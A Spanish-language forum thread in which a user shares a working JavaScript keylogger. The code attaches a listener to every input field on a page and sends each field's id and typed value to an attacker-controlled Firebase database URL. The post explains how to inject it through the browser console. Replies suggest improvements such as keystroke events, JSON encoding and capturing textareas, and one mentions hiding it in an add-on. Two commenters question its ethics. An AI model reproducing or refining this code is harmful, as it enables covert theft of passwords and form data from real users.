Autor
|
Tema: javascript Keylogger (Leído 6,326 veces)
|
ike array
Desconectado
Mensajes: 5
|
Bueno, básicamente les voy a dejar un código que desarrollé, muy simple de hecho, igual les voy a explicar cómo usarlo, si bien es cierto que se podría mejorar y mucho, así está hasta ahora, quizás siga trabajando en él, quizás no, pero les voy a compartir lo que va. "strict";
var input = document.querySelectorAll("input"); //Selecciona todos los imput del navegador
function saveLocal(e) { var url = "https://****.firebaseio.com/.json"; //Deben crear una base de datos en firebase y poner la URL acá var method = "PATCH"; //Metodo HTTP /*El e.srcElement trae el campo id="idEjemplo" y el this.value su valor el resultado sería algo como: tel: 30123021 */ var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }'; //XMLHttpRequest es un método usado en javascript para hacer peticiones HTTP como POST, GET, Etc, etc. var request = new XMLHttpRequest(); request.onload = function () {
/*Ya acá se pueden obtener muchos tipos de respuestá del HTTP, ésto no es parte del keylogger en sí Pero es útil si quieren ver info de la transacción en la consola */ var status = request.status; //respuesta del status HTTP, e.j., 200 for "200 OK" var data = request.responseText; // Datos que retorna, e.j., un documento HTML o un JSON. console.log(status); console.log(data); } //El onload es un evento que se lanza cuando la petición se carga //Abre la petición, especifica el método, envía la URL y el false es para indicar que es sincrona request.open(method, url, false); //Luego de que la petición está abierta envía la info, en éste caso el log de los inputs request.send(postData); }
for (var i = 0; i < input.length; i++) { //Añade a cada input un evento que escucha cuándo alquien sale de la casilla y llama a la función saveLocal input[i].addEventListener("blur", saveLocal); }//Loop por cada item en input Necesitarán una URL de una base de datos, la crean acá http://firebase.google.comPara inyectar el código lo único que tienen que hacer es abrir la consola "click derecho inspeccionar elemento de ahí en la tab de consola, en el navegador", copiar y pegar el código ya con su URL, cierran la consola y ya está, si cierran la página se pierden los cambios, si refrescan también. Espero les guste. SaluDDOS
|
|
|
En línea
|
Can you save my heavy dirty soul?
|
|
|
ThinkByYourself
Desconectado
Mensajes: 191
|
Dos cosillas. Primero, vale la pena usar JSON.stringify en lugar de cruda concatenación. Es decir, en lugar de: var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';
Valdría la pena hacer: var postDataObj = {}; postDataObj[e.srcElement.id] = this.value; var postData = JSON.stringify(postDataObj);
Por el value, que puede llevar cualquier cosa. Y luego, si quieres un keylogger, el evento en lugar de "blur" sería mejor un "change", o un "keypress", o un "keydown", o un "keyup". Pero el "blur" serviría en la mayoría de casos, no sé si en todos... Es lo que creo. Por lo demás lo veo bien, el método PATCH no lo he usado nunca, no sé si es un requisito de Firebase (que tampoco, creo que es de pago, ¿no?). Pero sí, un bonito keylogger para cualquier página en JS plano. Saludos
|
|
« Última modificación: 15 Diciembre 2016, 23:05 pm por NoBullshit »
|
En línea
|
No te voy a engañar. Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.
|
|
|
ike array
Desconectado
Mensajes: 5
|
Sí, se ve más organizado así, tomaré nota para modificarlo. Por otro lado, aclaro que Firebase it's free hasta cierto punto, pero para éste ejercicio 100% recomendada El patch en éste caso funciona mejor que el post, pero podrías usar un post, aclarando lo del blur, probé con todos los otros eventos y para mi fue el que mejor funcionó Saludos y gracias por el feedback 
|
|
|
En línea
|
Can you save my heavy dirty soul?
|
|
|
[u]nsigned
Desconectado
Mensajes: 2.397
JS/Node developer
|
Gracias por el aporte!!
Pero creo que debería ir en la Categoría Hacking Básico y no en desarrollo web, mas aún si lo presentas como un keylogger...
Y por otro lado, como programador web y webmaster que soy, no le veo un uso ético a esto. (pequeña critica constructiva, espero no la tomes a mal)
Saludos
|
|
|
En línea
|
No hay atajo ante la duda, el misterio se hace aquí... Se hace carne en cada uno, el misterio es existir! 
|
|
|
sommer
Desconectado
Mensajes: 3
|
Buen aporte pero igualmente con el comentario anterior no es algo etico y no le veo la funcionalidad a este codigio porque soy programador web orientado a Black-End aunque la unica funcionalidad que le veo a este codigo es tan solo aprender mas javascript y poder evitar este tipo de codigo evitando que se inyecten en las paginas web pero como dijo siempre " la informacion es libre " cada quien la usa para un proposito diferente.
|
|
|
En línea
|
|
|
|
ThinkByYourself
Desconectado
Mensajes: 191
|
Ojo. Podrían escaparse los contenteditable=true y los textareas. Y no sé si habrá alguno más.
Sí hombre, usos éticos para monitorizar la experiencia de usuario. O para llevar un registro de los formularios que se van llenando.
Usos malos también. A mí me viene a la cabeza como complemento para cualquier addon que se preste.
Saludos
|
|
|
En línea
|
No te voy a engañar. Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.
|
|
|
|
|